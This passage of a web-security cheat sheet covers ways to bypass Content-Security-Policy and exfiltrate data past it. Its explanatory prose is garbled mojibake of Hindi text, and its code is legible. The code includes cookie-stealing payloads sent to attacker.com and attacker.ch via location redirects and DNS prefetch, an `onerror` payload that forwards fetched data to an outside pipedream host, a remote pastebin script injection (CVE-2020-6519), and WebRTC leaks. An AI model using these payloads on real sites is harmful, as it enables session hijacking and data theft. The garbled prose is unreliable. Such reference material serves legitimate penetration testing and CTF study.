рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред

рдЖрдк csp рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд╕рд╛рде рдПрдХ Iframe рдХрд╛ CSP рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

html
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>

рдЗрд╕ CTF рд▓реЗрдЦ рдореЗрдВ, HTML injection рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ CSP рдХреЛ рдЕрдзрд┐рдХ restrict рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛, рдЬрд┐рд╕рд╕реЗ CSTI рдХреЛ рд░реЛрдХрдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдирд┐рд╖реНрдХреНрд░рд┐рдп рд╣реЛ рдЧрдпрд╛ рдФрд░ рдЗрд╕рд▓рд┐рдП vulnerability exploitable рд╣реЛ рдЧрдИред
CSP рдХреЛ HTML meta tags рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЕрдзрд┐рдХ restrictive рдмрдирд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдФрд░ inline scripts рдХреЛ removing рдХрд░рдХреЗ entry рдХреЛ рдирд┐рд╖реНрдХреНрд░рд┐рдп рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдЙрдирдХреЗ nonce рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИ рдФрд░ sha рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╡рд┐рд╢рд┐рд╖реНрдЯ inline рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛ рд╕рдХреНрд╖рдо рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

html
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'strict-dynamic' 'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4=' 'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';" />

JS exfiltration with Content-Security-Policy-Report-Only

рдпрджрд┐ рдЖрдк рд╕рд░реНрд╡рд░ рдХреЛ Content-Security-Policy-Report-Only рд╣реЗрдбрд░ рдХреЗ рд╕рд╛рде рдЖрдкрдХреЗ рджреНрд╡рд╛рд░рд╛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдорд╛рди рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рджреЗрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ (рд╢рд╛рдпрдж CRLF рдХреЗ рдХрд╛рд░рдг), рддреЛ рдЖрдк рдЗрд╕реЗ рдЕрдкрдиреЗ рд╕рд░реНрд╡рд░ рдХреА рдУрд░ рдЗрдВрдЧрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрджрд┐ рдЖрдк JS рд╕рд╛рдордЧреНрд░реА рдХреЛ <script> рдХреЗ рд╕рд╛рде рд▓рдкреЗрдЯрддреЗ рд╣реИрдВ рдФрд░ рдХреНрдпреЛрдВрдХрд┐ CSP рджреНрд╡рд╛рд░рд╛ unsafe-inline рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИ, рддреЛ рдпрд╣ CSP рддреНрд░реБрдЯрд┐ рдХреЛ рдкреНрд░реЗрд░рд┐рдд рдХрд░реЗрдЧрд╛ рдФрд░ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдПрдХ рднрд╛рдЧ (рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд╡рд╛рд▓рд╛) Content-Security-Policy-Report-Only рд╕реЗ рд╕рд░реНрд╡рд░ рдкрд░ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ред

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рдЗрд╕ CTF рд▓реЗрдЦ рдХреЛ рджреЗрдЦреЗрдВ.

CVE-2020-6519

javascript
document.querySelector("DIV").innerHTML = '<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'

CSP рдФрд░ Iframe рдХреЗ рд╕рд╛рде рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░рдирд╛

  • рдПрдХ iframe рдмрдирд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬреЛ рдПрдХ URL рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ (рдЪрд▓реЛ рдЗрд╕реЗ https://example.redirect.com рдХрд╣рддреЗ рд╣реИрдВ) рдЬрд┐рд╕реЗ CSP рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред
  • рдпрд╣ URL рдлрд┐рд░ рдПрдХ рдЧреБрдкреНрдд URL (рдЬреИрд╕реЗ, https://usersecret.example2.com) рдХреА рдУрд░ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░рддрд╛ рд╣реИ рдЬреЛ CSP рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреА рдЧрдИ рд╣реИред
  • securitypolicyviolation рдЗрд╡реЗрдВрдЯ рдХреЛ рд╕реБрдирдХрд░, рдХреЛрдИ blockedURI рдкреНрд░реЙрдкрд░реНрдЯреА рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдкреНрд░реЙрдкрд░реНрдЯреА рдмреНрд▓реЙрдХ рдХрд┐рдП рдЧрдП URI рдХреЗ рдбреЛрдореЗрди рдХреЛ рдкреНрд░рдХрдЯ рдХрд░рддреА рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ URL рджреНрд╡рд╛рд░рд╛ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд┐рдП рдЧрдП рдЧреБрдкреНрдд рдбреЛрдореЗрди рдХрд╛ рд▓реАрдХ рд╣реЛрдирд╛ рд╣реЛрддрд╛ рд╣реИред

рдпрд╣ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИ рдХрд┐ Chrome рдФрд░ Firefox рдЬреИрд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ CSP рдХреЗ рд╕рдВрдмрдВрдз рдореЗрдВ iframes рдХреЛ рд╕рдВрднрд╛рд▓рдиреЗ рдореЗрдВ рд╡рд┐рднрд┐рдиреНрди рд╡реНрдпрд╡рд╣рд╛рд░ рд╣реЛрддреЗ рд╣реИрдВ, рдЬреЛ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд╕рдВрднрд╛рд╡рд┐рдд рд▓реАрдХ рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХрддреЗ рд╣реИрдВред

рдПрдХ рдФрд░ рддрдХрдиреАрдХ CSP рдХрд╛ рд▓рд╛рдн рдЙрдард╛рдХрд░ рдЧреБрдкреНрдд рд╕рдмрдбреЛрдореЗрди рдХрд╛ рдЕрдиреБрдорд╛рди рд▓рдЧрд╛рдиреЗ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рд╣реИред рдпрд╣ рд╡рд┐рдзрд┐ рдПрдХ рдмрд╛рдЗрдирд░реА рд╕рд░реНрдЪ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИ рдФрд░ CSP рдХреЛ рд╡рд┐рд╢реЗрд╖ рдбреЛрдореЗрди рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдорд╛рдпреЛрдЬрд┐рдд рдХрд░рддреА рд╣реИ рдЬреЛ рдЬрд╛рдирдмреВрдЭрдХрд░ рдмреНрд▓реЙрдХ рдХрд┐рдП рдЧрдП рд╣реИрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдпрджрд┐ рдЧреБрдкреНрдд рд╕рдмрдбреЛрдореЗрди рдЕрдЬреНрдЮрд╛рдд рд╡рд░реНрдгреЛрдВ рд╕реЗ рдмрдирд╛ рд╣реИ, рддреЛ рдЖрдк CSP рдирд┐рд░реНрджреЗрд╢ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдХреЗ рдЗрди рд╕рдмрдбреЛрдореЗрдиреЛрдВ рдХреЛ рдмреНрд▓реЙрдХ рдпрд╛ рдЕрдиреБрдорддрд┐ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд┐рднрд┐рдиреНрди рд╕рдмрдбреЛрдореЗрдиреЛрдВ рдХрд╛ рдХреНрд░рдорд┐рдХ рдкрд░реАрдХреНрд╖рдг рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣рд╛рдБ рдПрдХ рд╕реНрдирд┐рдкреЗрдЯ рд╣реИ рдЬреЛ рджрд┐рдЦрд╛рддрд╛ рд╣реИ рдХрд┐ CSP рдХреЛ рдЗрд╕ рд╡рд┐рдзрд┐ рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреИрд╕реЗ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

CSP рджреНрд╡рд╛рд░рд╛ рдЕрд╡рд░реБрджреНрдз рдпрд╛ рдЕрдиреБрдорддрд┐ рдкреНрд░рд╛рдкреНрдд рдЕрдиреБрд░реЛрдзреЛрдВ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХрд░рдХреЗ, рдХреЛрдИ рднреА рдЧреБрдкреНрдд рдЙрдкрдбреЛрдореЗрди рдореЗрдВ рд╕рдВрднрд╛рд╡рд┐рдд рд╡рд░реНрдгреЛрдВ рдХреЛ рд╕рдВрдХреАрд░реНрдг рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдЕрдВрддрддрдГ рдкреВрд░реНрдг URL рдХрд╛ рдкрддрд╛ рд▓рдЧрд╛ рд╕рдХрддрд╛ рд╣реИред

рджреЛрдиреЛрдВ рд╡рд┐рдзрд┐рдпрд╛рдБ CSP рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдФрд░ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рд╡реНрдпрд╡рд╣рд╛рд░ рдХреЗ рд╕реВрдХреНрд╖реНрдорддрд╛рдУрдВ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИрдВ, рдпрд╣ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддреА рд╣реИрдВ рдХрд┐ рдХреИрд╕реЗ рдкреНрд░рддреАрдд рд╣реЛрддрд╛ рд╣реИ рдХрд┐ рд╕реБрд░рдХреНрд╖рд┐рдд рдиреАрддрд┐рдпрд╛рдБ рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░ рд╕рдХрддреА рд╣реИрдВред

рдпрд╣рд╛рдБ рд╕реЗ рдЯреНрд░рд┐рдХред

CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рддрдХрдиреАрдХреЗрдВ

рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реЛрдиреЗ рдкрд░ PHP рддреНрд░реБрдЯрд┐рдпрд╛рдБ

рдЗрд╕ рд╡реАрдбрд┐рдпреЛ рдореЗрдВ рдЯрд┐рдкреНрдкрдгреА рдХреА рдЧрдИ рдЕрдВрддрд┐рдо рддрдХрдиреАрдХ рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдмрд╣реБрдд рд╕рд╛рд░реЗ рдкреИрд░рд╛рдореАрдЯрд░ (1001 GET рдкреИрд░рд╛рдореАрдЯрд░, рд╣рд╛рд▓рд╛рдВрдХрд┐ рдЖрдк рдЗрд╕реЗ POST рдкреИрд░рд╛рдореАрдЯрд░ рдФрд░ 20 рд╕реЗ рдЕрдзрд┐рдХ рдлрд╝рд╛рдЗрд▓реЛрдВ рдХреЗ рд╕рд╛рде рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ) рднреЗрдЬрдирд╛ред PHP рд╡реЗрдм рдХреЛрдб рдореЗрдВ рдХреЛрдИ рднреА рдкрд░рд┐рднрд╛рд╖рд┐рдд header() рдирд╣реАрдВ рднреЗрдЬрд╛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ рддреНрд░реБрдЯрд┐ рдЙрддреНрдкрдиреНрди рдХрд░реЗрдЧрд╛ред

PHP рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдмрдлрд░ рдУрд╡рд░рд▓реЛрдб

PHP рдХреЛ рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ 4096 рдмрд╛рдЗрдЯреНрд╕ рддрдХ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдмрдлрд░рд┐рдВрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ PHP рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рджрд┐рдЦрд╛ рд░рд╣рд╛ рд╣реИ, рддреЛ рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдХреЗ рдЕрдВрджрд░ рдкрд░реНрдпрд╛рдкреНрдд рдбреЗрдЯрд╛ рдкреНрд░рджрд╛рди рдХрд░рдХреЗ, рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ CSP рд╣реЗрдбрд░ рд╕реЗ рдкрд╣рд▓реЗ рднреЗрдЬреА рдЬрд╛рдПрдЧреА, рдЬрд┐рд╕рд╕реЗ рд╣реЗрдбрд░ рдХреЛ рдЕрдирджреЗрдЦрд╛ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
рдлрд┐рд░, рддрдХрдиреАрдХ рдореВрд▓ рд░реВрдк рд╕реЗ рдЪреЗрддрд╛рд╡рдирд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдмрдлрд░ рдХреЛ рднрд░рдиреЗ рдореЗрдВ рд╣реИ рддрд╛рдХрд┐ CSP рд╣реЗрдбрд░ рди рднреЗрдЬрд╛ рдЬрд╛рдПред

рдЗрд╕ рд▓реЗрдЦрди рд╕реЗ рд╡рд┐рдЪрд╛рд░ред

рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦреЗрдВ

рдЗрд╕ рд▓реЗрдЦрди рд╕реЗ рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐ рдПрдХ рддреНрд░реБрдЯрд┐ рдкреГрд╖реНрда (рд╕рдВрднрд╛рд╡рд┐рдд рд░реВрдк рд╕реЗ CSP рдХреЗ рдмрд┐рдирд╛) рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рдЗрд╕рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдХрд░ CSP рд╕реБрд░рдХреНрд╖рд╛ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛ред

javascript
a = window.open("/" + "x".repeat(4100)) setTimeout(function () { a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">` }, 1000)

SOME + 'self' + wordpress

SOME рдПрдХ рддрдХрдиреАрдХ рд╣реИ рдЬреЛ рдПрдХ XSS (рдпрд╛ рдЕрддреНрдпрдзрд┐рдХ рд╕реАрдорд┐рдд XSS) рдПрдХ рдкреГрд╖реНрда рдХреЗ рдЕрдВрдд рдмрд┐рдВрджреБ рдореЗрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИ рддрд╛рдХрд┐ рдПрдХ рд╣реА рдореВрд▓ рдХреЗ рдЕрдиреНрдп рдЕрдВрдд рдмрд┐рдВрджреБрдУрдВ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдкреГрд╖реНрда рд╕реЗ рдХрдордЬреЛрд░ рдЕрдВрдд рдмрд┐рдВрджреБ рдХреЛ рд▓реЛрдб рдХрд░рдХреЗ рдФрд░ рдлрд┐рд░ рд╣рдорд▓рд╛рд╡рд░ рдкреГрд╖реНрда рдХреЛ рдЙрд╕реА рдореВрд▓ рдХреЗ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдВрдд рдмрд┐рдВрджреБ рдкрд░ рддрд╛рдЬрд╝рд╛ рдХрд░рдХреЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рдЖрдк рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред рдЗрд╕ рддрд░рд╣ рдХрдордЬреЛрд░ рдЕрдВрдд рдмрд┐рдВрджреБ opener рдСрдмреНрдЬреЗрдХреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдкреЗрд▓реЛрдб рдореЗрдВ DOM рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдВрдд рдмрд┐рдВрджреБ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ:

SOME - Same Origin Method Execution

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, wordpress рдореЗрдВ /wp-json/wp/v2/users/1?_jsonp=data рдкрд░ рдПрдХ JSONP рдЕрдВрдд рдмрд┐рдВрджреБ рд╣реИ рдЬреЛ рдЖрдЙрдЯрдкреБрдЯ рдореЗрдВ рднреЗрдЬреЗ рдЧрдП рдбреЗрдЯрд╛ рдХреЛ рдкреНрд░рддрд┐рдмрд┐рдВрдмрд┐рдд рдХрд░реЗрдЧрд╛ (рдХреЗрд╡рд▓ рдЕрдХреНрд╖рд░реЛрдВ, рд╕рдВрдЦреНрдпрд╛рдУрдВ рдФрд░ рдмрд┐рдВрджреБрдУрдВ рдХреА рд╕реАрдорд╛ рдХреЗ рд╕рд╛рде)ред

рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдЙрд╕ рдЕрдВрдд рдмрд┐рдВрджреБ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ WordPress рдХреЗ рдЦрд┐рд▓рд╛рдл рдПрдХ SOME рд╣рдорд▓реЗ рдХреЛ рдЬрдирд░реЗрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдЗрд╕реЗ <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> рдХреЗ рдЕрдВрджрд░ рдПрдВрдмреЗрдб рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рд╕реНрдХреНрд░рд┐рдкреНрдЯ рд▓реЛрдб рд╣реЛрдЧреА рдХреНрдпреЛрдВрдХрд┐ рдпрд╣ 'self' рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдорддрд┐ рджреА рдЧрдИ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдФрд░ рдХреНрдпреЛрдВрдХрд┐ WordPress рд╕реНрдерд╛рдкрд┐рдд рд╣реИ, рдПрдХ рд╣рдорд▓рд╛рд╡рд░ рдХрдордЬреЛрд░ callback рдЕрдВрдд рдмрд┐рдВрджреБ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ SOME рд╣рдорд▓реЗ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ CSP рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдПрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЛ рдЕрдзрд┐рдХ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░ рджрд┐рдП рдЬрд╛ рд╕рдХреЗрдВ, рдПрдХ рдирдпрд╛ рдкреНрд▓рдЧрдЗрди рд╕реНрдерд╛рдкрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ...
рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рдХреИрд╕реЗ рдХрд░рдирд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рджреЗрдЦреЗрдВ https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP Exfiltration Bypasses

рдпрджрд┐ рдПрдХ рд╕рдЦреНрдд CSP рд╣реИ рдЬреЛ рдЖрдкрдХреЛ рдмрд╛рд╣рд░реА рд╕рд░реНрд╡рд░реЛрдВ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддреА рд╣реИ, рддреЛ рдХреБрдЫ рдЪреАрдЬреЗрдВ рд╣реИрдВ рдЬреЛ рдЖрдк рд╣рдореЗрд╢рд╛ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

Location

рдЖрдк рдмрд╕ рд╕реНрдерд╛рди рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ рд╣рдорд▓рд╛рд╡рд░ рдХреЗ рд╕рд░реНрд╡рд░ рдкрд░ рдЧреБрдкреНрдд рдЬрд╛рдирдХрд╛рд░реА рднреЗрдЬреА рдЬрд╛ рд╕рдХреЗ:

javascript
var sessionid = document.cookie.split("=")[1] + "." document.location = "https://attacker.com/?" + sessionid

Meta tag

рдЖрдк рдПрдХ рдореЗрдЯрд╛ рдЯреИрдЧ рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдХреЗ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдпрд╣ рд╕рд┐рд░реНрдл рдПрдХ рд░реАрдбрд╛рдпрд░реЗрдХреНрдЯ рд╣реИ, рдпрд╣ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд▓реАрдХ рдирд╣реАрдВ рдХрд░реЗрдЧрд╛)

html
<meta http-equiv="refresh" content="1; http://attacker.com" />

DNS Prefetch

рдкреГрд╖реНрдареЛрдВ рдХреЛ рддреЗрдЬреА рд╕реЗ рд▓реЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛ рдЖрдИрдкреА рдкрддреЗ рдореЗрдВ рдкреВрд░реНрд╡-рд╕рдорд╛рдзрд╛рди рдХрд░рдиреЗ рдФрд░ рдЙрдиреНрд╣реЗрдВ рдмрд╛рдж рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдХреИрд╢ рдХрд░рдиреЗ рдЬрд╛ рд░рд╣реЗ рд╣реИрдВред
рдЖрдк рдПрдХ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреЛ рдПрдХ рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛ рдкреВрд░реНрд╡-рд╕рдорд╛рдзрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдХреЗрдд рджреЗ рд╕рдХрддреЗ рд╣реИрдВ: <link rel="dns-prefetch" href="something.com">

рдЖрдк рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ DNS рдЕрдиреБрд░реЛрдзреЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдПрдХреНрд╕рдлрд┐рд▓реНрдЯреНрд░реЗрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

javascript
var sessionid = document.cookie.split("=")[1] + "." var body = document.getElementsByTagName("body")[0] body.innerHTML = body.innerHTML + '<link rel="dns-prefetch" href="//' + sessionid + 'attacker.ch">'

рдПрдХ рдФрд░ рддрд░реАрдХрд╛:

javascript
const linkEl = document.createElement("link") linkEl.rel = "prefetch" linkEl.href = urlWithYourPreciousData document.head.appendChild(linkEl)

рдЗрд╕рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ HTTP рд╣реЗрдбрд░ рднреЗрдЬ рд╕рдХрддрд╛ рд╣реИ:

X-DNS-Prefetch-Control: off

note

рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ, рдпрд╣ рддрдХрдиреАрдХ рд╣реЗрдбрд▓реЗрд╕ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ (рдмреЙрдЯреНрд╕) рдореЗрдВ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддреА рд╣реИ

WebRTC

рдХрдИ рдкреГрд╖реНрдареЛрдВ рдкрд░ рдЖрдк рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдХрд┐ WebRTC CSP рдХреА connect-src рдиреАрддрд┐ рдХреА рдЬрд╛рдВрдЪ рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдЖрдк DNS рдЕрдиреБрд░реЛрдз рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдирдХрд╛рд░реА рд▓реАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдХреЛрдб рдХреЛ рджреЗрдЦреЗрдВ:

javascript
;(async () => { p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] }) p.createDataChannel("") p.setLocalDescription(await p.createOffer()) })()

рдПрдХ рдФрд░ рд╡рд┐рдХрд▓реНрдк:

javascript
var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

CredentialsContainer

рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдкреЙрдкрдЕрдк рдмрд┐рдирд╛ рдкреГрд╖реНрда рджреНрд╡рд╛рд░рд╛ рдкреНрд░рддрд┐рдмрдВрдзрд┐рдд рд╣реБрдП iconURL рдкрд░ рдПрдХ DNS рдЕрдиреБрд░реЛрдз рднреЗрдЬрддрд╛ рд╣реИред рдпрд╣ рдХреЗрд╡рд▓ рдПрдХ рд╕реБрд░рдХреНрд╖рд┐рдд рд╕рдВрджрд░реНрдн (HTTPS) рдпрд╛ рд▓реЛрдХрд▓рд╣реЛрд╕реНрдЯ рдкрд░ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИред

javascript
